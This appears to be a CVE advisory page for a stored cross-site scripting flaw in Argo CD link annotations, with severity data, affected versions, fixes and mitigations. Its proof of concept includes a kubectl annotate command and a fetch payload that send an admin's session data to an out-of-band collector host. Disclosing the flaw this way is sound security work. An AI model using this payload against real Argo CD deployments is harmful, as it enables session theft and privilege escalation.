CVE-2026-45738 is a high-severity (CVSS 7.3) Cross-site Scripting (XSS) vulnerability in github.com/argoproj/argo-cd/v3. A fix is available for github.com/argoproj/argo-cd/v3 — see the affected versions and patch details below.
Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-45738.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-45738 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 380,526 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
github.com/argoproj/argo-cd/v3🐹github.com/argoproj/argo-cd/v3🐹github.com/argoproj/argo-cd/v3🐹github.com/argoproj/argo-cd/v2🐹github.com/argoproj/argo-cdReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A user with application write access (developer role) can set link.argocd.argoproj.io/* annotations on any ArgoCD Application. These annotation values are rendered in the Summary tab's URLs section as <a href> elements without URL validation. Using the pipe-separator trick (Display Text | javascript:...), an attacker can inject a javascript: URI while displaying a legitimate-looking label (e.g. GitHub Repo). When a higher-privileged user (admin) clicks the link, arbitrary JavaScript executes in the ArgoCD origin context in the admin's authenticated session context, enabling API exfiltration and privilege escalation from developer to admin.
Details
Vulnerable sink: ui/src/app/applications/components/application-summary/application-summary.tsx:277
const parts = (url || '').split('|');
<a key={i} href={parts.length > 1 ? parts[1] : parts[0]} target='_blank'>
{parts[0]}
</a>
The annotation value is split on |. parts[0] becomes the visible link label; parts[1] becomes the href. No call to isValidURL() is made, unlike the protected ApplicationURLs component (application-urls.tsx:72,80) which does validate URLs and blocks javascript:. The target='_blank' opens a new tab that inherits the ArgoCD origin, giving the injected script same-origin fetch access to all ArgoCD APIs using the victim's authenticated session (credentialed fetch() calls).
Root cause: React 16.x does not block javascript: URIs in href attributes (this protection was added in React 19). The helper isValidURL() exists in shared/utils.ts but is not applied to this sink.
CSP: ArgoCD's default Content Security Policy is frame-ancestors 'self' only — no script-src, no connect-src, no default-src — providing zero XSS execution mitigation.
PoC
Prerequisites: Developer role with application write access (e.g. RBAC: p, role:developer, applications, *, */*, allow).
Step 1 — Set malicious annotation as developer:
kubectl annotate application <app-name> -n argocd \
'link.argocd.argoproj.io/docs=GitHub Repo|javascript:fetch("https://<argocd-host>/api/v1/session/userinfo",{credentials:"include"}).then(r=>r.json()).then(d=>fetch("https://xxx.oastify.com/?d="+btoa(JSON.stringify(d)),{mode:"no-cors"}))'
The URL section in the admin's Summary tab renders the link as "GitHub Repo" — the javascript: payload is invisible in the displayed text.
Step 2 — Admin opens Summary tab of the annotated application and clicks the link.
Step 3 — JavaScript executes at the ArgoCD origin and exfiltrates admin session data via out-of-band HTTP request. Tested with Burp Collaborator:
// Payload used during testing (Burp Collaborator OOB):
fetch("https://<argocd-host>/api/v1/session/userinfo", {credentials:"include"})
.then(r => r.json())
.then(d => fetch("https://xxx.oastify.com/?d=" + btoa(JSON.stringify(d)), {mode:"no-cors"}))
Step 4 — Burp Collaborator received the OOB HTTP interaction containing the base64-encoded admin session data. Decoded response:
{"iss":"argocd","loggedIn":true,"username":"admin"}
Tested on: ArgoCD v3.3.8 (commit 0850e97), React 16.9.3.
Impact
- Stored XSS — payload persists in the Kubernetes Application resource until manually removed
- Privilege escalation — developer role → admin session hijacking via authenticated API calls
- Maximum stealth — the injected link displays as any attacker-chosen text; the
javascript:href is never visible to the victim - No server-side interaction required — purely client-side exploit, no network egress needed for execution (exfiltration uses
no-corsfetch, bypassed by absentconnect-srcCSP) - Any admin or operator who views the Summary tab of the compromised application is affected
Credits
Discovered and reported by Jan Kahmen ([email protected]) — turingpoint.de
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/argoproj/argo-cd/v3 | all versions | 3.2.12go get github.com/argoproj/argo-cd/v3@v3.2.12 |
| 🐹Go | github.com/argoproj/argo-cd/v3 | ≥ 3.3.0-rc1&&< 3.3.10 | 3.3.10go get github.com/argoproj/argo-cd/v3@v3.3.10 |
| 🐹Go | github.com/argoproj/argo-cd/v3 | ≥ 3.4.0-rc1&&< 3.4.2 | 3.4.2go get github.com/argoproj/argo-cd/v3@v3.4.2 |
| 🐹Go | github.com/argoproj/argo-cd/v2 | all versions | No fix |
| 🐹Go | github.com/argoproj/argo-cd | all versions | No fix |
Affected Products
argo cdargoprojDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/argoproj/argo-cd/v3, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/argoproj/argo-cd/v3 to 3.2.12 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-45738 is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Frequently Asked Questions
Is CVE-2026-45738 in your dependencies?
Find it across Go, including transitive dependencies.